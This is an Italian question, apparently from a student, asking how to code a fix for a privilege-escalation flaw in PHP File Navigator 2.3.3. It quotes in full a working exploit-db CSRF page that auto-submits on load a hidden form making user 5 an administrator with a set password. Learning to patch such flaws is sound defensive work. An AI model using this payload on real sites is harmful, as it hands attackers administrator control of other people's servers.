Ho trovato questo codice di exploit di escalation di privilegi sul sito Web di vulnerabilità exploit-db e come incarico ho bisogno di determinare quale contromisura userò per correggere questo exploit. Come parte dei criteri di assegnazione, la correzione deve essere codificata.
Sono ancora nuovo nello sfruttare vulnerabilità e php, quindi ho un po 'di difficoltà a capire come correggerlo. Ho preso in considerazione l'implementazione del privilegio minimo o della separazione dei privilegi, ma non so come potrebbero essere impiantati. Quale sarebbe una contromisura o correzione appropriata per questa vulnerabilità?
Sistema: PHP File Navigator 2.3.3
Codice exploit:
<!DOCTYPE>
<html>
<script>
function pwn(){
var e=document.getElementById('ELEVATO_DE_PRIVLOS')
e.submit()
}
</script>
<body onLoad="pwn()">
<!-- Escalate privs to that of Admin -->
<form id="ELEVATO_DE_PRIVLOS" action="
http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php"
method="post">
<input type="hidden" name="id_usuario" value="5" />
<input type="text" id="nome" name="nome" value="b2" class="text"
tabindex="10" />
<input type="text" id="usuario" name="usuario" value="b2" class="text"
tabindex="20" />
<input type="password" id="contrasinal" name="contrasinal"
value="abc123" class="text" tabindex="30" />
<input type="password" id="rep_contrasinal" name="rep_contrasinal"
value="abc123" class="text" tabindex="40" />
<input type="text" id="email" name="email" value="[email protected]" class="text"
tabindex="50" />
<input type="text" id="max_descargas" name="max_descargas" value="0"
class="text" tabindex="60" />
<input type="text" id="actual_descargas" name="actual_descargas"
value="0" class="text" tabindex="70" />
<select id="cambiar_datos" name="cambiar_datos" tabindex="75">
<option value="1" >ON</option>
<option value="0" selected="selected">OFF</option>
</select>
<select id="id_grupo" name="id_grupo" tabindex="80">
<option value="1" selected="selected">Administrators</option>
</select>
<select id="admin" name="admin" tabindex="90">
<option value="1" selected="selected">ON</option>
<option value="0">OFF</option>
</select>
<select id="estado" name="estado" tabindex="100">
<option value="1" selected="selected">ON</option>
<option value="0" >OFF</option>
</select>
<input type="checkbox" id="Fraices_1" name="Fraices[]" value="1"
class="checkbox" />
</form>
</body>
</html>